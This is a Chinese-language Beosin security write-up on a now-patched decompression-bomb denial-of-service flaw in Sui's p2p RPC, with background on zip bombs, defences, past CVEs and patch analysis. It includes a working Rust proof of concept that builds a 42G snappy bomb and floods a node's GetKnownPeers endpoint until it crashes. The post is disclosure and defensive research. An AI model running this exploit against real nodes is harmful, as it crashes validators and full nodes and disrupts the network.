查看原文
其他

Beosin硬核安全研究 | 内存炸弹漏洞导致Sui节点崩溃?

Beosin Beosin 2023-10-11

本文作者:Beosin安全研究专家Poet


目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。


前言


此前Beosin安全团队发现了多个公链相关的漏洞其中有一个漏洞比较有意思,我们与Sui团队沟通后,征得同意可以将其详细信息公开。这是Sui公链p2p协议中的一个拒绝服务漏洞,该漏洞可导致Sui网络中的节点因内存耗尽而崩溃。这个拒绝服务漏洞是由一个古老的攻击方式引起的————“内存炸弹”。


本文通过对该漏洞的介绍,希望大家对“内存炸弹”攻击和其防御手段有更多的认识和理解。Beosin作为区块链安全行业的领先者,我们持续关注公链平台的安全性


什么是内存炸弹?


最早的内存炸弹是zip炸弹,也叫死亡zip,是一种恶意的计算机文件,会使读取它的程序崩溃或失效。zip炸弹不会劫持程序的操作,而是一个消耗过多时间、磁盘空间或内存来解压缩的压缩包。

zip 炸弹的一个例子是文件42.zip,它是一个由42KB压缩数据组成的zip文件,包含16组的五层嵌套zip文件,每个底层存档包含一个4.3GB字节(4 294 967295 字节;4 GiB − 1 B)的文件,总计 4.5 PB(4503 599626321 920 字节;4 PiB − 1 MiB) 的未压缩数据。

zip炸弹的基本原理是,我们生成一个非常大的内容全是0(或者其他值)的文件,然后压缩成zip文件,由于相同内容的文件的压缩比非常大,此时生成的zip文件非常小。被攻击目标在解压zip文件之后,需要消耗非常多的内存来存储被解压之后的文件,内存会被快速耗尽,目标因为OOM而崩溃。

我们在Windows上做一个简单的实验:

利用如下命令生成一个内容全是0的,大小为1GB的文件:
fsutil file createnew test.txt 1073741824
利用7zip命令,将文件压缩为zip格式:
7z a test.zip test.txt
压缩后的文件大小为:1.20MB

由此我们可以知道,对于全部是0的文件,zip压缩比接近851:1

其实,任何格式的压缩包都有可能成为内存炸弹,不仅仅是zip压缩包。

我们继续这个实验,在Windows上用7zip将1GB的内容全是0的大文件,压缩为不同的格式。这样我们得出下面的压缩比列表:

事实上,不同的文件格式支持不同的压缩算法,比如zip文件支持Deflate、Deflate64、BZIP2、LZMA、PPMd等,不同压缩算法的压缩比是不一样的。上面的表格是基于7zip默认压缩算法的测试结果。

内存炸弹一般防御方法


我们可以通过限制解压后的文件大小来防御“内存炸弹”攻击。以下的方法可以限制解压后的文件大小:

1 解压后的数据大小放入压缩包里面。在压缩文件的某个位置读取这个值,然后判断其大小是否符合要求。

2 第一个方法无法完全解决这个问题,因为解压后的文件大小可以被伪造。所以我们可以传递一个固定大小的Buffer,解压过程中,如果数据大小超出Buffer的边界,那么就停止解压,返回失败信息。

3 还有一个办法是流式解压。一边传入小部分压缩数据,一边解压这个数据,同时累加解压后的数据大小,如果在某一个时刻,解压后的数据大小超过阈值,就停止解压,返回失败信息。

历史上的“内存炸弹”漏洞


1 CVE-2023-3782

这是一个OKHttp库的漏洞。OKHttp支持Brotli压缩算法,如果HTTP响应指定了Brotli压缩算法,由于OKHttp没有做“内存炸弹”攻击的防御,客户端会因为内存耗尽而崩溃。

漏洞描述:
https://github.com/square/okhttp/issues/7738

漏洞补丁:
https://github.com/envoyproxy/envoy/commit/d4c39e635603e2f23e1e08ddecf5a5fb5a706338#diff-88b327a1e72d55d1bb686b3b1f28f594b6b08139968304e6804a808fbb375ff0R26

我们可以看到,漏洞补丁限制了压缩系数。

2 CVE-2022-36114

这是Rust包管理器Cargo的一个漏洞。Cargo从代码源下载包的时候,没有做“内存炸弹”防御,导致解压之后的文件占用的磁盘空间非常大。

漏洞描述:
https://github.com/rust-lang/cargo/security/advisories/GHSA-2hvr-h6gw-qrxp
漏洞补丁:
https://github.com/rust-lang/cargo/commit/d1f9553c825f6d7481453be8d58d0e7f117988a7

我们可以看到,漏洞补丁限制解压后的文件大小最大为512MB。

3 CVE-2022-32206

这是知名网络下载工具curl的一个漏洞。curl < 7.84.0 支持“链式”HTTP 压缩算法,这意味着服务器响应可以多次压缩,并且可能使用不同的算法。这个“解压链”中可接受的“链接”数量是无限的,允许恶意服务器插入几乎无限数量的压缩步骤。使用这样的解压链可能会导致“内存炸弹”,使得curl最终花费大量的内存,因内存不足发生错误。

漏洞细节:
https://lists.debian.org/debian-lts-announce/2022/08/msg00017.html


Sui漏洞描述


1 在Sui的p2p协议中,为了减少带宽压力,有部分RPC消息是用snappy算法压缩的。

2 每个Sui节点(不管是validator还是fullnode)在p2p网络中都提供节点发现("/sui.Discovery/GetKnownPeers")和数据同步("/sui.StateSync/PushCheckpointSummary")RPC服务。节点发现和数据同步的RPC消息,实际上是使用snappy压缩过的数据。在处理RPC消息的过程中,节点先将数据全部解压到内存,再用bcs算法反序列化,然后释放解压数据和原始数据。处理RPC数据的代码在"crates/mysten-network/src/codec.rs"文件里:

impl<U: serde::de::DeserializeOwned> Decoder for BcsSnappyDecoder<U> { type Item = U; type Error = bcs::Error;
fn decode(&mut self, buf: bytes::Bytes) -> Result<Self::Item, Self::Error> { let compressed_size = buf.len(); let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader()); let mut bytes = Vec::with_capacity(compressed_size); //Decompress snappy_decoder.read_to_end(&mut bytes)?; //Deserialize bcs::from_bytes(bytes.as_slice()) } }
3 RPC消息的最大size为2G。这个限制硬编码在"crates/sui-node/src/lib.rs"文件里面:

let mut anemo_config = config.p2p_config.anemo_config.clone().unwrap_or_default(); // Set the max_frame_size to be 2 GB to work around the issue of there being too many // staking events in the epoch change txn. anemo_config.max_frame_size = Some(2 << 30); // size of 2G !!!!!
       
4 我们可以创建一个1.97G的snappy压缩文件,解压之后变为42G,且文件内容全部为0。

5 选择"/sui.Discovery/GetKnownPeers"这个p2p RPC作为被攻击的接口,向其发送大小为1.97G的RPC消息。那么节点需要至少42+1.97=43.97G的内存来解压这个消息。

6 如果Sui节点(不管是validator还是fullnode)可用内存超过43.97G,那么我们可以同时发送n个RPC消息,这样在某个时间点,sui节点需要m(m一般小于n)个43.97G内存空间才能处理我们的攻击payload。

如果内存不足,sui节点就会崩溃。

以下是我们的测试结果

我们可以看到,节点因为“Out of memory”而被系统“杀死”。

PoC


1 创建基于snappy算法的“内存炸弹”
//generate the "memory bomb" //48.2M -> 1G //96.4M -> 2G //385M -> 8G //1.97G -> 42G // //set "how_many_gb" to set the decompressed size of "bomb" let buf = [0; 1024]; let file = File::create(r"C:\Users\xxx\Desktop\42g").unwrap(); let mut encoder = snap::write::FrameEncoder::new(&file); let how_many_gb = 42; for _i in 0..1024 * 1024 * how_many_gb { let _ = encoder.write_all(&buf).unwrap(); } return;

2 攻击节点
pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network { let router = f(anemo::Router::new()); let mut config = Config::default(); config.max_frame_size = Some(2 << 30); // config.max_frame_size = Some(usize::MAX); config.outbound_request_timeout_ms = Some(100 * 1000); let network = anemo::Network::bind("0.0.0.0:0") .private_key(random_key()) .server_name(chain_id) .alternate_server_name("sui") .config(config) .start(router) .unwrap();
println!( "starting network {} {}", network.local_addr(), network.peer_id(), );
network}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> { let network = build_network(|a| {a},chain_id); let (mut rec, _a) = network.subscribe()?; tokio::spawn(async move { handle_event(&mut rec).await });
let peerid = network.connect(address).await?;
let mut request = Request::new(buf); *request.route_mut() = "/sui.Discovery/GetKnownPeers".into(); // *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into(); let response = network.rpc(peerid, request).await?; println!("{:?}", response); loop { sleep(Duration::from_millis(2000)).await; }}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]async fn main() { //read the "bomb" file. let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap(); let mut buf: Vec<u8> = Vec::new(); let _size = in_file.read_to_end(&mut buf).unwrap(); let bs = Bytes::from(buf);
//you can change "concurrent_attack" to a appropriate number!!! let concurrent_attack = 20; let target_ip = "192.168.153.129"; let target_port = 35561; //you can get your private network's chain_id from the sui-node's stdout. let chain_id = "sui-76e065b8"; for _i in 0..concurrent_attack { let bs = bs.clone(); tokio::spawn(async move { let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await; println!("error : {:?}", respone);
}); }
loop { sleep(Duration::from_millis(2000)).await; }}

补丁代码分析


补丁链接:
https://github.com/MystenLabs/sui/commit/42d4ad103a21d23fecd7c0271453da41604e71e9

我们可以看到补丁代码利用了流式解压,并限制了解压后的最大大小为1G。同时将RPC消息的大小限制从2G降低为1G。

漏洞影响


这个漏洞可以导致单个节点崩溃(validator和fullnode)。漏洞利用非常简单,只需要启动多个线程向节点发送payload,就可导致节点崩溃,不需要消耗gas费用。Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影响。


漏洞修复


Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。Beosin也将持续关注各大公链上的漏洞,为整个Web3生态护航。

Beosin作为一家全球领先的区块链安全公司,在全球10多个国家和地区设立了分部,业务涵盖项目上线前的代码安全审计、项目运行时的安全风险监控、预警与阻断、虚拟货币被盗资产追回、安全合规KYT/AML等“一站式”区块链安全产品+服务,公司致力于Web3生态的安全发展,已为全球3000多个企业提供区块链安全技术服务,包括HashKey Group、Amber Group、BNB Chain等,已审计智能合约和公链主网超3000份,包括PancakeSwap、Ronin Network、OKCSwap等。欢迎点击公众号留言框,与我们联系。

 近期热点文章阅读:

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存